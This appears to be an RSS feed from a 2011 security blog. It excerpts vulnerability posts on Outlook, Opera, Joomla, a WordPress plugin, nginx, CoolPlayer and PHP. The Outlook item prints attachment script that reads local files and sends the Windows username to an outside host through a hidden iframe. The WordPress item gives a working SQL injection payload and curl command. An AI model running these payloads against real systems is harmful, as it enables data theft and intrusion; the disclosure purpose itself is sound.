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<channel>
	<title>GO IT WORLD &#124; IT TECH &#124; IT NEWS &#187; Application Security</title>
	<atom:link href="http://www.goitworld.com/category/the-security-world/application-security/feed/" rel="self" type="application/rss+xml" />
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		<item>
		<title>Outlook vulnerability explain</title>
		<link>http://www.goitworld.com/outlook-vulnerability-explain/</link>
		<comments>http://www.goitworld.com/outlook-vulnerability-explain/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 13:10:35 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[outlook]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/outlook-vulnerability-explain/</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p><p>Send attenment demo.htm </p>
<p>Code:</p>
<blockquote><li>
<pre>&#60;script&#62;</pre>
</li>
<li>
<pre>xmlhttp=new ActiveXObject(&#34;Msxml2.XMLHTTP.3.0&#34;);</pre>
</li>
<li>
<pre>xmlhttp.open(&#34;GET&#34;,&#34;../../../../../../../../../../../../../../boot.ini&#34;,false);</pre>
</li>
<li>
<pre>xmlhttp.send();</pre>
</li>
<li>
<pre>alert(xmlhttp.responseText);</pre>
</li>
<li>
<pre>&#60;/script&#62;</pre>
</li>
<p>&#160;</p>
</blockquote>
<p>Information:</p>
<blockquote>
<p>&#60;script&#62;alert(document.URL)&#60;/script&#62;</p>
</blockquote>
<p>Get dir info</p>
<blockquote>
<p>C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\OLKxxx</p>
</blockquote>
<p>Demo:</p>
<blockquote>
<li>
<pre>&#60;script&#62;</pre>
</li>
<li>
<pre>var path = document.URL;</pre>
</li>
<li>
<pre>var regx = /Settings\\(.*)\\Local/ var rs= regx.exec(path); username=rs[1];</pre>
</li>
<li>
<pre>iframe_dom(&#34;http://www.80vul.com/hackgame/xs-g0.php?username=&#34;+username);</pre>
</li>
<li>
<pre>&#160;</pre>
</li>
<li>
<pre>function iframe_dom(script_filename) {</pre>
</li>
<li>
<pre>    var d = window.document;</pre>
</li>
<li>
<pre>    var newIframe = d.createElement('iframe');</pre>
</li>
<li>
<pre>    newIframe.src=script_filename;</pre>
</li>
<li>
<pre>    newIframe.style.width = 0;</pre>
</li>
<li>
<pre>    newIframe.style.height = 0;</pre>
</li>
<li>
<pre>    d.appendChild(newIframe);</pre>
</li>
<li>
<pre>    return false;</pre>
</li>
<li>
<pre>} &#60;/script&#62;</pre>
</li>
</blockquote>
<p></p>]]></description>
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		</item>
		<item>
		<title>Opera 10/11 (bad nesting with frameset tag) Memory Corruption</title>
		<link>http://www.goitworld.com/opera-1011-bad-nesting-with-frameset-tag-memory-corruption/</link>
		<comments>http://www.goitworld.com/opera-1011-bad-nesting-with-frameset-tag-memory-corruption/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 12:56:46 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[bad nesting with frameset tag]]></category>
		<category><![CDATA[memory corruption]]></category>
		<category><![CDATA[opera]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/opera-1011-bad-nesting-with-frameset-tag-memory-corruption/</guid>
		<description><![CDATA[<blockquote><p>################################################################### Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption     <br />#      <br /># Vulnerability:      <br />#      <br /># Discovered: 2010-08-18      <br /># Patched: 2011-05-18      <br /># Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)      <br />#&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; v11.xx &#60; v11.11 (v11.00, v11.01 and v11.10)      <br /># Patched on: v11.11      <br />#      <br /># Exploit:      <br />#      <br /># Coded: 2010-09-23      <br /># Last revision: 2011-09-30      <br />#      <br /># RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*      <br /># DoS on: v10.01, v10.10, v10.53, v10.61</p></blockquote><p>&#8230; <a href="http://www.goitworld.com/opera-1011-bad-nesting-with-frameset-tag-memory-corruption/" class="read_more">Read the rest</a></p>]]></description>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Joomla 1.7.0  is vulnerable to multiple Cross Site Scripting issues</title>
		<link>http://www.goitworld.com/joomla-1-7-0-is-vulnerable-to-multiple-cross-site-scripting-issues/</link>
		<comments>http://www.goitworld.com/joomla-1-7-0-is-vulnerable-to-multiple-cross-site-scripting-issues/#comments</comments>
		<pubDate>Mon, 03 Oct 2011 13:07:32 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[vulnerable]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/joomla-1-7-0-is-vulnerable-to-multiple-cross-site-scripting-issues/</guid>
		<description><![CDATA[<p>1. OVERVIEW</p>
<p>Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site   <br />Scripting issues.</p>
<p>2. BACKGROUND</p>
<p>Joomla is a free and open source content management system (CMS) for   <br />publishing content on the World Wide Web and intranets. It comprises a    <br />model鈥搗iew鈥揷ontroller (MVC) Web application framework that can also be    <br />used independently.    <br />Joomla is written in PHP, uses object-oriented programming (OOP)    <br />techniques and software design patterns, stores data in a MySQL    <br />database, and includes features such as page caching, RSS feeds,    <br />printable versions of pages, news flashes, blogs, polls, search, and    <br />support&#8230; <a href="http://www.goitworld.com/joomla-1-7-0-is-vulnerable-to-multiple-cross-site-scripting-issues/" class="read_more">Read the rest</a></p>]]></description>
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		</item>
		<item>
		<title>WordPress WP Bannerize plugin &lt;= 2.8.7 SQL Injection Vulnerability</title>
		<link>http://www.goitworld.com/wordpress-wp-bannerize-plugin-2-8-7-sql-injection-vulnerability/</link>
		<comments>http://www.goitworld.com/wordpress-wp-bannerize-plugin-2-8-7-sql-injection-vulnerability/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 11:11:40 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp bannerize plugin]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/wordpress-wp-bannerize-plugin-2-8-7-sql-injection-vulnerability/</guid>
		<description><![CDATA[<blockquote><p># Exploit Title: WordPress WP Bannerize plugin &#60;= 2.8.7 SQL Injection Vulnerability     <br /># Date: 2011-09-22      <br /># Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)      <br /># Software Link: <a href="http://downloads.wordpress.org/plugin/wp-bannerize.zip">http://downloads.wordpress.org/plugin/wp-bannerize.zip</a>      <br /># Version: 2.8.7 (tested)      <br />&#160; <br />&#8212;&#8212;&#8212;&#8212;&#8212;      <br />PoC (POST data)      <br />&#8212;&#8212;&#8212;&#8212;&#8212;      <br /><a href="http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php">http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php</a>      <br /> limit=1&#38;offset=1&#38;item[]=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)      <br />&#160; <br />e.g.      <br />curl &#8211;data &#34;limit=1&#38;offset=1&#38;item[]=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&#34; -H &#34;X-Requested-With:XMLHttpRequest&#34; <a href="http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php">http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php</a>      <br />&#160; <br />&#8212;&#8212;&#8212;&#8212;&#8212;      <br />Vulnerable code      <br />&#8212;&#8212;&#8212;&#8212;&#8212;      <br />if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {      <br />&#160;&#160;&#160; &#8230;      <br />&#160;&#160;&#160; $limit = intval($_POST['limit']);      <br />&#160;&#160;&#160; $page_offset = (intval($_POST['offset']) &#8211; 1) * $limit;      <br />&#160; <br</p></blockquote><p>&#8230; <a href="http://www.goitworld.com/wordpress-wp-bannerize-plugin-2-8-7-sql-injection-vulnerability/" class="read_more">Read the rest</a></p>]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mongodb Safety Study</title>
		<link>http://www.goitworld.com/mongodb-safety-study/</link>
		<comments>http://www.goitworld.com/mongodb-safety-study/#comments</comments>
		<pubDate>Sat, 03 Sep 2011 07:56:34 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[mongodb]]></category>
		<category><![CDATA[safety study]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/mongodb-safety-study/</guid>
		<description><![CDATA[<p>Mongodb, so long to fire the thing actually had a good look.&#160; Carefully until no time learn new things, always feel lack of energy.&#160; The advantage of buying a book on fragmented in the VPS on the build, test, to see the implementation code.&#160; Feeling quite interesting a database. Although the feeling it is very simple, especially when it is looking at the code feel so.&#160; But this is not what is another example of KISS, or something simple but useful most popular. </p>
<p>Since they saw their implementation, can not fail to output something.&#160; Just did not update the&#8230; <a href="http://www.goitworld.com/mongodb-safety-study/" class="read_more">Read the rest</a></p>]]></description>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fix handling of byte-range requests to use less memory for apache2</title>
		<link>http://www.goitworld.com/fix-handling-of-byte-range-requests-to-use-less-memory-for-apache2/</link>
		<comments>http://www.goitworld.com/fix-handling-of-byte-range-requests-to-use-less-memory-for-apache2/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 10:25:00 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[byte-range]]></category>
		<category><![CDATA[less memory]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/fix-handling-of-byte-range-requests-to-use-less-memory-for-apache2/</guid>
		<description><![CDATA[<p>The Apache Software Foundation and the Apache HTTP Server Project are pleased to announce the release of version 2.2.20 of the Apache HTTP Server (&#34;Apache&#34;). This version of Apache is principally a security and bug fix release: </p>
<ul>
<li>SECURITY: <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192">CVE-2011-3192</a> (cve.mitre.org) core: Fix handling of byte-range requests to use less memory, to avoid denial of service. If the sum of all ranges in a request is larger than the original file, ignore the ranges and send the complete file. PR 51714. </li>
</ul>
<p>We consider this release to be the best version of Apache available, and encourage users&#8230; <a href="http://www.goitworld.com/fix-handling-of-byte-range-requests-to-use-less-memory-for-apache2/" class="read_more">Read the rest</a></p>]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx</title>
		<link>http://www.goitworld.com/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/</link>
		<comments>http://www.goitworld.com/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/#comments</comments>
		<pubDate>Fri, 26 Aug 2011 03:25:37 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[code execution]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[null bytes]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/</guid>
		<description><![CDATA[<p>I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 &#60;= 0.7.65, 0.8 &#60;= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.</p>
<p>In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named <tt>zero_in_uri</tt> defined in <tt>ngx_http_request.h</tt>). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.</p>
<p>The attack&#8230; <a href="http://www.goitworld.com/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/" class="read_more">Read the rest</a></p>]]></description>
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		</item>
		<item>
		<title>CoolPlayer 219 Buffer Overflow Exploit</title>
		<link>http://www.goitworld.com/coolplayer-219-buffer-overflow-exploit/</link>
		<comments>http://www.goitworld.com/coolplayer-219-buffer-overflow-exploit/#comments</comments>
		<pubDate>Sat, 13 Aug 2011 02:25:13 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[CoolPlayer 219 Buffer Overflow Exploit]]></category>
		<category><![CDATA[Inj3ct0r - exploit database :]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/coolplayer-219-buffer-overflow-exploit/</guid>
		<description><![CDATA[<p>&#160;</p>
<blockquote><p># #########################################################################     <br />#~ Title&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; : CoolPlayer 219 Buffer Overflow Exploit&#160;&#160; <br />#~ Software&#160;&#160;&#160;&#160;&#160; : <a href="http://coolplayer.en.softonic.com/">http://coolplayer.en.softonic.com/</a>      <br />#~ Tested on&#160;&#160;&#160;&#160; : Windows XP SP3 English      <br />#~ Date&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; : 04/07/2011      <br />#~ Author&#160;&#160;&#160;&#160;&#160;&#160;&#160; : X-h4ck      <br />#~ Site&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; : <a href="http://www.pirate.al/">http://www.pirate.al/</a> #PirateAL Crew , <a href="http://theflashcrew.blogspot.com/">http://theflashcrew.blogspot.com/</a>       <br />#~ Email&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; : mem001@live.com       <br />#~ Greetz&#160;&#160;&#160;&#160;&#160;&#160;&#160; : Wulns~ &#8211; IllyrianWarrior &#8211; Danzel &#8211; Ace &#8211; M4yh3m &#8211; Saldeath &#8211; bi0 &#8211; Slimshaddy &#8211; d3trimentaL &#8211; Lekosta &#8211; Pretorian &#8211; CroSs(r00tworm) &#8211; Rigon      <br /># #########################################################################</p>
<p>#!/usr/bin/python     <br />print &#34; CoolPlayer 219 Buffer Overflow Exploit&#34;      <br />print &#34; Author : X-h4ck&#34;</p></blockquote><p>&#8230; <a href="http://www.goitworld.com/coolplayer-219-buffer-overflow-exploit/" class="read_more">Read the rest</a></p>]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP 5.3.3 GD extension imagepstext stack buffer overflow</title>
		<link>http://www.goitworld.com/php-5-3-3-gd-extension-imagepstext-stack-buffer-overflow/</link>
		<comments>http://www.goitworld.com/php-5-3-3-gd-extension-imagepstext-stack-buffer-overflow/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 03:57:26 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[gd extension]]></category>
		<category><![CDATA[php security]]></category>
		<category><![CDATA[stack buffer overflow]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/php-5-3-3-gd-extension-imagepstext-stack-buffer-overflow/</guid>
		<description><![CDATA[<p>Description:</p>
<p>Prior to version 5.3.4, PHP&#8217;s GD extension did not properly validate   <br />the number of anti-aliasing steps passed to the function imagepstext.    <br />The value of this parameter is expected to be either 4 or 16. To    <br />accommodate this, an array of 16 integers, aa, is located on the    <br />stack. Before the number of steps is validated, it is used to populate    <br />the array. This results in a stack-based buffer overflow.</p>
<p>Proof of concept:</p>
<p>&#60;?php   <br />$img = imagecreatetruecolor(1, 1); //Arbitrary    <br />$fnt = imagepsloadfont(&#34;somefont.pfb&#34;); //Arbitrary    <br />//The final parameter is the number of anti-aliasing steps&#8230; <a href="http://www.goitworld.com/php-5-3-3-gd-extension-imagepstext-stack-buffer-overflow/" class="read_more">Read the rest</a></p>]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Buffer Overflows exploit</title>
		<link>http://www.goitworld.com/buffer-overflows-exploit/</link>
		<comments>http://www.goitworld.com/buffer-overflows-exploit/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 07:04:37 +0000</pubDate>
		<dc:creator>jason</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://www.goitworld.com/buffer-overflows-exploit/</guid>
		<description><![CDATA[<p><a name="Buffer overflow"></a>Buffer overflow vulnerabilities have been around since the early days of computers and still exist today. Most Internet <a name="idx-CHP-3-0595"></a><a name="buffer overflow"></a>worms use buffer overflow vulnerabilities to propagate, and even the most recent <a name="idx-CHP-3-0596"></a><a name="vulnerability in"></a>zero-day VML vulnerability in <a name="idx-CHP-3-0597"></a>Internet Explorer is due to a buffer overflow.</p>
<p>C is a high-level programming language, but it assumes that the <a name="idx-CHP-3-0598"></a>programmer is responsible <a name="idx-CHP-3-0599"></a>for <a name="idx-CHP-3-0600"></a><a name="the resulting"></a>data integrity. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower, due to integrity checks on every variable. Also, this would remove a significant level of control from the programmer&#8230; <a href="http://www.goitworld.com/buffer-overflows-exploit/" class="read_more">Read the rest</a></p>]]></description>
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